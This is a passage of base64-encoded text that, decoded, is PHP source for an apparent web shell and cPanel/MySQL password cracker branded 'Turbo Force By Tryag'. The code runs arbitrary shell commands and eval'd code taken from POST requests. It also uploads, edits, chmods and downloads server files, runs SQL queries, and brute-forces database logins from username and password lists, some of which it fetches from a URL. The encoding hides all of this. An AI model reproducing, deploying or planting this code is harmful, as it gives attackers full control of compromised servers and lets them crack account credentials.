sgJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107ICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsgJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOyAkc3FsLT5wYXNzID0gJF9QT1NUWydteXNxbF9wJ107ICRzcWwtPmJhc2UgPSAkX1BPU1RbJ215c3FsX2RiJ107ICRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJF9QT1NUWydkYl9xdWVyeSddKTsgZWNobyAnPGJvZHkgYmdjb2xvcj0jZTRlMGQ4Pic7IGlmKCEkc3FsLT5jb25uZWN0KCkpIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj4iLiRzcWwtPmVycm9yLiI8L2I+PC9mb250PjwvZGl2PiI7IGVsc2UgDQogew0KIGlmKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L2Rpdj4iOyBlbHNlIA0KIHsNCiBmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSANCiB7DQogaWYoc3RybGVuKCRxdWVyeSk+NSkgDQogew0KIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvZm9udD48YnI+Ijsgc3dpdGNoKCRzcWwtPnF1ZXJ5KCRxdWVyeSkpIA0KIHsNCiBjYXNlICcwJzogZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5FcnJvciA6IDxiPiIuJHNxbC0+ZXJyb3IuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsgYnJlYWs7IGNhc2UgJzEnOiBpZigkc3FsLT5nZXRfcmVzdWx0KCkpIA0KIHsNCiBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT4iOyBmb3JlYWNoKCRzcWwtPmNvbHVtbnMgYXMgJGs9PiR2KSAkc3FsLT5jb2x1bW5zWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7ICRrZXlzID0gQGltcGxvZGUoIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jODAwMDAwPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOyBlY2hvICI8dHI+PHRkIGJnY29sb3I9IzgwMDAwMD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsiLiRrZXlzLiImbmJzcDs8L2I+PC9mb250PjwvdGQ+PC90cj4iOyBmb3IoJGk9MDskaTwkc3FsLT5udW1fcm93czskaSsrKSANCiB7DQogZm9yZWFjaCgkc3FsLT5yb3dzWyRpXSBhcyAkaz0+JHYpICRzcWwtPnJvd3NbJGldWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7ICR2YWx1ZXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOyIsJHNxbC0+cm93c1skaV0pOyBlY2hvICc8dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOycuJHZhbHVlcy4nJm5ic3A7PC9mb250PjwvdGQ+PC90cj4nOyB9DQogZWNobyAiPC90YWJsZT4iOyB9DQogYnJlYWs7IGNhc2UgJzInOiAkYXIgPSAkc3FsLT5hZmZlY3RlZF9yb3dzKCk/KCRzcWwtPmFmZmVjdGVkX3Jvd3MoKSk6KCcwJyk7IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+YWZmZWN0ZWQgcm93cyA6IDxiPiIuJGFyLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOyBicmVhazsgfQ0KIH0NCiB9DQogfQ0KIH0NCiBlY2hvICI8YnI+PHRpdGxlPlR1cmJvIEZvcmNlIEJ5IFRyeWFnPC90aXRsZT48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsgDQogZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkYiddKTsgZWNobyBpbignaGlkZGVuJywnZGJfc2VydmVyJywwLCRfUE9TVFsnZGJfc2VydmVyJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsgZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7IGVjaG8gaW4oJ2hpZGRlbicsJ215c3FsX3AnLDAsJF9QT1NUWydteXNxbF9wJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdjY2NjJywwLCdkYl9xdWVyeScpOyANCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iOyBlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5CYXNlOiA8L2I+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW15c3FsX2RiIHZhbHVlPVwiIi4kc3FsLT5iYXNlLiJcIj48L2ZvbnQ+PGJyPiI7IGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTY1IHJvd3M9MTAgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTO1xuU0VMRUNUICogRlJPTSB1c2VyOyIpKS4iPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIFJ1biBTUUwgcXVlcnkgXCI+PC9kaXY+PGJyPjxicj4iOyBlY2hvICI8L2Zvcm0+IjsgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7IH0NCg0KDQpmdW5jdGlvbiBjY21tZGQoJGNjbW1kZDIsJGF0dCkNCnsNCmdsb2JhbCAkY2NtbWRkMiwkYXR0Ow0KZWNobyAnDQo8dGFibGUgc3R5bGU9IndpZHRoOiAxMDAlIiBjbGFzcz0ic3R5bGUxIiBkaXI9InJ0bCI+DQoJPHRyPg0KCQk8dGQgY2xhc3M9InN0eWxlOSI+PHN0cm9uZz5Db21tYW5kOjwvc3Ryb25nPjwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJCTx0ZCBjbGFzcz0ic3R5bGUxMyI+DQoJCQkJPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCgkJCQkJPHNlbGVjdCBuYW1lPSJhdHQiIGRpcj0icnRsIiBzdHlsZT0iaGVpZ2h0OiAxMDlweCIgc2l6ZT0iNiI+DQonOw0KaWYoJF9QT1NUWydhdHQnXT09bnVsbCkNCnsNCmVjaG8gJwkJCQkJCTxvcHRpb24gdmFsdWU9InN5c3RlbSIgc2VsZWN0ZWQ9IiI+c3lzdGVtPC9vcHRpb24+JzsNCn1lbHNlew0KZWNobyAiCQkJCQkJPG9wdGlvbiB2YWx1ZT0nJF9QT1NUW2F0dF0nIHNlbGVjdGVkPScnPiRfUE9TVFthdHRdPC9vcHRpb24+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPXN5c3RlbT5zeXN0ZW08L29wdGlvbj4NCiI7DQoNCgkJCQkJCQ0KfQ0KDQplY2hvICcNCgkJCQkJCTxvcHRpb24gdmFsdWU9InBhc3N0aHJ1Ij5wYXNzdGhydTwvb3B0aW9uPg0KCQkJCQkJPG9wdGlvbiB2YWx1ZT0iZXhlYyI+ZXhlYzwvb3B0aW9uPg0KCQkJCQkJPG9wdGlvbiB2YWx1ZT0ic2hlbGxfZXhlYyI+c2hlbGxfZXhlYzwvb3B0aW9uPgkNCgkJCQkJPC9zZWxlY3Q+DQoJCQkJCQk8aW5wdXQgbmFtZT0icGFnZSIgdmFsdWU9ImNjbW1kZCIgdHlwZT0iaGlkZGVuIj48YnI+DQoJCQkJCQk8aW5wdXQgZGlyPSJsdHIiIG5hbWU9ImNjbW1kZDIiIHN0eWxlPSJ3aWR0aDogMTczcHgiIHR5cGU9InRleHQiIHZhbHVlPSInO2lmKCEkX1BPU1RbJ2NjbW1kZDInXSl7ZWNobyAnZGlyJzt9ZWxzZXtlY2hvICRfUE9TVFsnY2NtbWRkMiddO31lY2hvICciPjxicj4NCgkJCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI/Pz8/PyI+DQoJCQkJPC9mb3JtPg0KCQkNCgkJPC90ZD4NCgk8L3RyPg0KCTx0cj4NCgkJPHRkIGNsYXNzPSJzdHlsZTEzIj4NCic7DQoNCgkJaWYoJF9QT1NUW2F0dF09PSdzeXN0ZW0nKQ0KCQl7DQplY2hvICcNCgkJCQkJPHRleHRhcmVhIGRpcj0ibHRyIiBuYW1lPSJUZXh0QXJlYTEiIHN0eWxlPSJ3aWR0aDogNzQ1cHg7IGhlaWdodDogMjA0cHgiPic7DQoJCQkJCXN5c3RlbSgkX1BPU1RbJ2NjbW1kZDInXSk7DQplY2hvICcJCQkJCTwvdGV4dGFyZWE+JzsNCg0KDQoJCX0NCg0KCQlpZigkX1BPU1RbYXR0XT09J3Bhc3N0aHJ1JykNCgkJew0KZWNobyAnDQoJCQkJCTx0ZXh0YXJlYSBkaXI9Imx0ciIgbmFtZT0iVGV4dEFyZWExIiBzdHlsZT0id2lkdGg6IDc0NXB4OyBoZWlnaHQ6IDIwNHB4Ij4nOw0KCQkJCQlwYXNzdGhydSgkX1BPU1RbJ2NjbW1kZDInXSk7DQplY2hvICcJCQkJCTwvdGV4dGFyZWE+JzsNCg0KDQoJCX0NCg0KCQkNCg0KDQoNCgkJaWYoJF9QT1NUW2F0dF09PSdleGVjJykNCgkJew0KDQplY2hvICcJCQkJCTx0ZXh0YXJlYSBkaXI9Imx0ciIgbmFtZT0iVGV4dEFyZWExIiBzdHlsZT0id2lkdGg6IDc0NXB4OyBoZWlnaHQ6IDIwNHB4Ij4nOw0KCQkJCQlleGVjKCRfUE9TVFsnY2NtbWRkMiddLCRyZXMpOw0KCQkJCWVjaG8gJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsgCQkJCQ0KZWNobyAnCQkJCQk8L3RleHRhcmVhPic7DQoNCg0KCQl9DQoNCg0KDQoNCg0KDQoNCgkJaWYoJF9QT1NUW2F0dF09PSdzaGVsbF9leGVjJykNCgkJew0KDQplY2hvICcJCQkJCTx0ZXh0YXJlYSBkaXI9Imx0ciIgbmFtZT0iVGV4dEFyZWExIiBzdHlsZT0id2lkdGg6IDc0NXB4OyBoZWlnaHQ6IDIwNHB4Ij4nOw0KCQkJCWVjaG8Jc2hlbGxfZXhlYygkX1BPU1RbJ2NjbW1kZDInXSk7DQplY2hvICcJCQkJCTwvdGV4dGFyZWE+JzsNCg0KDQoJCX0NCmVjaG8gJwkJDQoJCTwvdGQ+DQoJPC90cj4NCjwvdGFibGU+DQonOw0KDQpleGl0Ow0KfQ0KDQppZigkX1BPU1RbJ3BhZ2UnXT09J2VkaXQnKQ0Kew0KDQokY29kZT1Ac3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJF9QT1NUWydjb2RlJ10pOw0KJGNvZGU9QHN0cl9yZXBsYWNlKCdcXCcsJycsJGNvZGUpOw0KJGZwID0gZm9wZW4oJHBhdGhjbGFzcywgJ3cnKTsNCmZ3cml0ZSgkZnAsIiRjb2RlIik7DQpmY2xvc2UoJGZwKTsNCmVjaG8gIjxjZW50ZXI+PGI+T0sgRWRpdDxicj48YnI+PGJyPjxicj48YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiI7DQpleGl0Ow0KfQkNCg0KDQoJaWYoJF9QT1NUWydwYWdlJ109PSd1cGxvYWQnKQ0KCXsNCg0KaWYoJF9GSUxFU1snaW1nJ11bJ3NpemUnXSA+IDApDQp7DQokcGF0aD0kX1BPU1RbJ3BhdGhjbGFzcyddOw0KJG5hbWU9JF9GSUxFU1snaW1nJ11bJ25hbWUnXTsNCmlmKHN0cnBvcygkcGF0aCwiXFwiKSkNCnsNCiRmb2xkZXIgPSAkcGF0aC4iXFxcXCIuYmFzZW5hbWUoJG5hbWUpOw0KfWVsc2V7DQokZm9sZGVyID0gJHBhdGguIi8iLmJhc2VuYW1lKCRuYW1lKSA7DQp9DQoNCm1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydpbWcnXVsndG1wX25hbWUnXSwkZm9sZGVyKTsNCmlmKHN0cnBvcygkcGF0aCwiXFwiKSkNCnsNCmVjaG8gJzxjZW50ZXI+PGI+WWVzPGJyPicuIiRwYXRoXFxcXCRuYW1lIjsNCn1lbHNlew0KZWNobyAnPGNlbnRlcj48Yj5ZZXM8YnI+Jy4iJHBhdGgvJG5hbWUiOw0KfQ0KDQoNCn1lbHNlew0KZWNobyAnPGNlbnRlcj48Yj5FcnJvciA6Tm8gRW50ZXIgRmlsZSc7DQp9DQoNCmV4aXQ7DQoJfQ0KDQoNCg0KDQoNCglpZigkX1BPU1RbJ3BhZ2UnXT09J3Nob3dkaXInKQ0KCXsNCgkkcGF0aGNsYXNzID0kX1BPU1RbJ3BhdGhjbGFzcyddOw0KCSRwYXRoY2xhc3MgPSBzdHJfcmVwbGFjZSgnXFxcXCcsJ1xcJywkcGF0aGNsYXNzKTsNCg0KZWNobyAnDQo8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KCTxpbnB1dCBuYW1lPSJwYXRoY2xhc3MiIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDogMjg0cHgiIHZhbHVlPSInLiRwYXRoY2xhc3MuJyIgZGlyPWx0cj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPz8/Ij4NCgk8aW5wdXQgbmFtZT0icGFnZSIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0ic2hvd2RpciI+DQo8L2Zvcm0+DQoJDQoJPGJyPg0KJzsNCg0KZnVuY3Rpb24gZm9ybWF0X2J5dGVzKCRieXRlcykgew0KICAgaWYgKCRieXRlcyA8IDEwMjQpIHJldHVybiAkYnl0ZXMuJyBCJzsNCiAgIGVsc2VpZiAoJGJ5dGVzIDwgMTA0ODU3NikgcmV0dXJuIHJvdW5kKCRieXRlcyAvIDEwMjQsIDIpLicgS0InOw0KICAgZWxzZWlmICgkYnl0ZXMgPCAxMDczNzQxODI0KSByZXR1cm4gcm91bmQoJGJ5dGVzIC8gMTA0ODU3NiwgMikuJyBNQic7DQogICBlbHNlaWYgKCRieXRlcyA8IDEwOTk1MTE2Mjc3NzYpIHJldHVybiByb3VuZCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKS4nIEdCJzsNCiAgIGVsc2UgcmV0dXJuIHJvdW5kKCRieXRlcyAvIDEwOTk1MTE2Mjc3NzYsIDIpLicgVEInOw0KfQ0KDQoJJGZpbGVzMSA9IHNjYW5kaXIoJHBhdGhjbGFzcyk7DQoNCmVjaG8gJw0KCTx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBkaXI9Imx0ciI+DQoJPHRyPg0KCQk8dGQ+DQoJCTxwIGFsaWduPSJjZW50ZXIiPjxiPjxzcGFuIGxhbmc9ImVuLXVzIj5uYW1lPC9zcGFuPjwvYj48L3RkPg0KCQk8dGQ+DQoJCTxwIGFsaWduPSJjZW50ZXIiPjxzcGFuIGxhbmc9ImVuLXVzIj48Yj5zaXplPC9iPjwvc3Bhbj48L3RkPg0KCQk8dGQ+DQoJCTxwIGFsaWduPSJjZW50ZXIiPjxiPjxzcGFuIGxhbmc9ImVuLXVzIj5jaG1vZDwvc3Bhbj48L2I+PC90ZD4NCgkJPHRkPg0KCQk8cCBhbGlnbj0iY2VudGVyIj48Yj48c3BhbiBsYW5nPSJlbi11cyI+cmVhZCBvciBlZGl0PC9zcGFuPjwvYj48L3RkPg0KCQk8dGQ+DQoJCTxwIGFsaWduPSJjZW50ZXIiPjxiPjxzcGFuIGxhbmc9ImVuLXVzIj5kb3dsb2FkPC9zcGFuPjwvYj48L3RkPg0KCTwvdHI+DQonOw0KCWZvcmVhY2goJGZpbGVzMSBhcyAkZikNCgl7DQovKgllY2hvICIkZjxicj4iOw0KJGY9QGZpbGVzaXplKCRmKTsNCmVjaG8gZm9ybWF0X2J5dGVzKCRmKTsNCiovDQokZmZmPSIkcGF0aGNsYXNzJGYiOw0KJGZmPUBmaWxlc2l6ZSgkZmZmKTsNCmVjaG8gJw0KCTx0cj4NCgkJPHRkPg0KCQk8cCBhbGlnbj0iY2VudGVyIj4nLiRmLic8L3RkPg0KCQk8dGQ+DQoJCTxwIGFsaWduPSJjZW50ZXIiPicuZm9ybWF0X2J5dGVzKCRmZikuJzwvdGQ+DQoJCTx0ZD4NCg0KCQk8cCBhbGlnbj0iY2VudGVyIj4NCic7DQppZigkZj09Jy4nfHwkZj09Jy4uJykNCnsNCn1lbHNlew0KZWNobyAnDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCjxwIGFsaWduPSJjZW50ZXIiPg0KPGlucHV0IG5hbWU9Im5hbWVmaWxlIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iNzc3IiBzdHlsZT0id2lkdGg6IDQ1cHg7Ij4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDaGFuZ2UiID4NCjxpbnB1dCBuYW1lPSJwYXRoY2xhc3MiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGZmZi4nIj4NCjxpbnB1dCBuYW1lPSJwYWdlIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJjaG1vZCI+ICAgICAgICAJCQkJDQo8L2Zvcm0+DQonOw0KfQ0KZWNobyAnDQoNCgkJPC90ZD4NCgkJPHRkPic7DQoNCmlmKCRmPT0nLid8fCRmPT0nLi4nKQ0Kew0KLy9ubw0KfWVsc2VpZihzdHJwb3MoJGYsIi4iKSl7DQplY2hvICcNCjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPg0KPHAgYWxpZ249ImNlbnRlciI+DQoNCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFZGl0Ij4NCjxpbnB1dCBuYW1lPSJwYXRoY2xhc3MiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGZmZi4nIj4NCjxpbnB1dCBuYW1lPSJwYWdlIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJzaG93Ij4gICAgICAgIAkJCQkNCjwvcD4NCg0KPC9mb3JtPg0KJzsNCn0NCg0KZWNobyAnCQk8L3RkPg0KCQk8dGQ+DQoJCSc7DQppZigkZj09Jy4nfHwkZj09Jy4uJykNCnsNCn1lbHNlew0KZWNobyAnDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCjxwIGFsaWduPSJjZW50ZXIiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRvd25sb2FkIj4NCjxpbnB1dCBuYW1lPSJwYXRoY2xhc3MiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGZmZi4nIj4NCjxpbnB1dCBuYW1lPSJuYW1lZmlsZSIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iJy4kZi4nIj4NCjxpbnB1dCBuYW1lPSJwYWdlIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJkb3dubG9hZCI+ICAgICAgICAJCQkJDQo8L2Zvcm0+DQo8L3A+DQonOw0KfQ0KDQoJCQ0KZWNobycJCTwvdGQ+DQoNCgk8L3RyPg0KJzsNCg0KCX0NCg0KZWNobyAnPC90YWJsZT4nOw0KZXhpdDsNCgl9DQoNCglpZigkX1BPU1RbJ3BhZ2UnXT09J2NvZGUnKQ0KCXsNCgkkY29kZT0kX1BPU1RbY29kZV07DQoJJGNvZGU9c3RyX3JlcGxhY2UoJ1xcJywnJywkY29kZSk7DQoJZXZhbCgkY29kZSk7DQoJZXhpdDsNCgl9DQoNCglpZigkX1BPU1RbJ3BhZ2UnXT09J3Nob3cnKQ0KCXsNCgkkcGF0aGNsYXNzID0kX1BPU1RbJ3BhdGhjbGFzcyddOw0KZWNobyAnDQo8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFnZSIgdmFsdWU9ImVkaXQiPg0KJzsNCgkNCgkkc2FoYWNrZXIgPSBmb3BlbigkcGF0aGNsYXNzLCAicmIiKTsNCmVjaG8gJzxjZW50ZXI+Jy4kcGF0aGNsYXNzLic8YnI+PHRleHRhcmVhIGRpcj0ibHRyIiBuYW1lPSJjb2RlIiBzdHlsZT0id2lkdGg6IDg0NXB4OyBoZWlnaHQ6IDQwNHB4Ij4nOwkNCiRjb2RlID0gZnJlYWQoJHNhaGFja2VyLCBmaWxlc2l6ZSgkcGF0aGNsYXNzKSk7DQplY2hvICRjb2RlID1odG1sc3BlY2lhbGNoYXJzKCRjb2RlKTsNCmVjaG8gJzwvdGV4dGFyZWE+JzsJDQoJZmNsb3NlKCRzYWhhY2tlcik7DQplY2hvICcNCjxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGF0aGNsYXNzIiB2YWx1ZT0iJy4kcGF0aGNsYXNzLiciIHN0eWxlPSJ3aWR0aDogNDQ1cHg7Ij4NCjxicj48c3Ryb25nPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJlZGl0IGZpbGUiPg0KPC9mb3JtPg0KJzsNCgkJZXhpdDsNCgl9DQoNCglpZigkX1BPU1RbJ3BhZ2UnXT09J2NjbW1kZCcpDQoJew0KCWVjaG8gY2NtbWRkKCRjY21tZGQyLCRhdHQpOw0KCWV4aXQ7DQoJfQ0KDQppZigkX1BPU1RbJ3BhZ2UnXT09J2ZpbmQnKQ0Kew0KaWYoaXNzZXQoJF9QT1NUWyd1c2VybmFtZXMnXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzd29yZHMnXSkpDQp7DQogICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ3Bhc3N3ZCcpew0KICAgICAgICAkZSA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3VzZXJuYW1lcyddKTsNCiAgICAgICAgZm9yZWFjaCgkZSBhcyAkdmFsdWUpew0KICAgICAgICAkayA9IGV4cGxvZGUoIjoiLCR2YWx1ZSk7DQogICAgICAgICR1c2VybmFtZSAuPSAka1snMCddLiIgIjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgDQogICAgfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7DQogICAgICAgICR1c2VybmFtZSA9IHN0cl9yZXBsYWNlKCJcbiIsJyAnLCRfUE9TVFsndXNlcm5hbWVzJ10pOw0KICAgICAgICANCiAgICAgICAgDQogICAgfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpew0KICAgICR1c2VybmFtZSA9IHN0cl9yZXBsYWNlKCJcbiIsJyAnLCRfUE9TVFsndXNlcm5hbWVzJ10pOyAgICANCgkkbmFtZWZpbGU9JF9QT1NUWyduYW1lZmlsZSddOw0KCSRoYW5kbGUxID0gZm9wZW4oJG5hbWVmaWxlLCAiciIpOw0KCSRfUE9TVFsncGFzc3dvcmRzJ10gPSBmcmVhZCgkaGFuZGxlMSwgZmlsZXNpemUoJG5hbWVmaWxlKSk7DQoJZmNsb3NlKCRoYW5kbGUxKTsNCg0KDQogICAgfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAndXJsJyl7DQogICAgJHVzZXJuYW1lID0gc3RyX3JlcGxhY2UoIlxuIiwnICcsJF9QT1NUWyd1c2VybmFtZXMnXSk7DQoJJGNoID0gY3VybF9pbml0KCRfUE9TVFsnbmFtZWZpbGUyJ10pOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQoJJF9QT1NUWydwYXNzd29yZHMnXSA9IGN1cmxfZXhlYygkY2gpOw0KLyoNCgkkY29udGV4dE9wdGlvbnNbJ2h0dHAnXSA9IGFycmF5KCdtZXRob2QnID0+ICdHRVQnLCAnbWF4X3JlZGlyZWN0cyc9PjAsICdwcm90b2NvbF92ZXJzaW9uJz0+IDEuMCwgJ3RpbWVvdXQnPT4xMCwgJ2lnbm9yZV9lcnJvcnMnPT5UUlVFKTsNCgkkY29udGV4dFJlc291Y2UgID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRjb250ZXh0T3B0aW9ucyk7DQoJJHVybCA9ICRfUE9TVFsnbmFtZWZpbGUyJ107DQoJJGhhbmRsZSA9IGZvcGVuKCIkdXJsIiwgJ3InLCBmYWxzZSwgJGNvbnRleHRSZXNvdWNlKTsNCgkkX1BPU1RbJ3Bhc3N3b3JkcyddID0gc3RyZWFtX2dldF9jb250ZW50cygkaGFuZGxlKTsNCgkqLw0KICAgIH0gIA0KDQogICAgDQogICAgJGExID0gZXhwbG9kZSgiICIsJHVzZXJuYW1lKTsNCiAgICAkYTIgPSBleHBsb2RlKCJcbiIsJF9QT1NUWydwYXNzd29yZHMnXSk7DQogICAgJGlkMiA9IGNvdW50KCRhMik7DQogICAgJG9rID0gMDsNCiAgICBmb3JlYWNoKCRhMSBhcyAkdXNlciApDQogICAgew0KICAgICAgICBpZigkdXNlciAhPT0gJycpDQogICAgICAgIHsNCiAgICAgICAgJHVzZXI9dHJpbSgkdXNlcik7DQogICAgICAgICBmb3IoJGk9MDskaTw9JGlkMjskaSsrKQ0KICAgICAgICAgew0KICAgICAgICAgICAgJHBhc3MgPSB0cmltKCRhMlskaV0pOw0KICAgICAgICAgICAgJHNlcnZlcj0kX1BPU1RbJ3NlcnZlciddOw0KICAgICAgICAgICAgaWYoQG15c3FsX2Nvbm5lY3QoIiRzZXJ2ZXIiLCIkdXNlciIsIiRwYXNzIikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPGIgZGlyPXJ0bD5DcmFja2VEIFN1Y2Nlc3MgV2l0aCg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kdXNlcjwvZm9udD48L2I+KSBQYXNzd29yRCAoPGI+PGZvbnQgY29sb3I9Z3JlZW4+JHBhc3M8L2ZvbnQ+PC9iPik8YnIgLz4iOw0KICAgICAgICAgICAgICAgICRvaysrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gIjxocj48Yj5DcmFja2VEPGZvbnQgY29sb3I9Z3JlZW4+JG9rPC9mb250PkFjY291bnQ8L2I+IjsNCiAgICBlY2hvICI8Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJhY2s8L2E+IjsNCiAgICBleGl0Ow0KfQ0KfQ0KPz4NCg0KDQo8Ym9keSBzdHlsZT0iY29sb3I6ICNGRkZGRkYiPg0KDQoNCg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCgk8c3Ryb25nPg0KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImZpbmQiPiAgICAgICAgCQkJCQ0KICAgIDwvc3Ryb25nPg0KICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQogICAgPHRyPg0KICAgICAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiPjxjZW50ZXI+PHN0cm9uZz48aW1nIHNyYz0iaHR0cDovL3d3dy51cGxvYWQtYmlnLmluZm8vdXBsb2FkLzdiYmMyM2U4NDM0ZTY5ZmVmNmY4N2U0YzU4ZDM4N2UwLmdpZiIgLz48YnI+DQoJCTwvc3Ryb25nPg0KCQk8c3Ryb25nPg0KCQk8YSBocmVmPSJodHRwOi8vdHJ5YWcuY2MiIGNsYXNzPSJzdHlsZTIiPkNwYW5lbCBDcmFja2VyPC9hPjwvc3Ryb25nPjxicj4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQ+DQogICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBi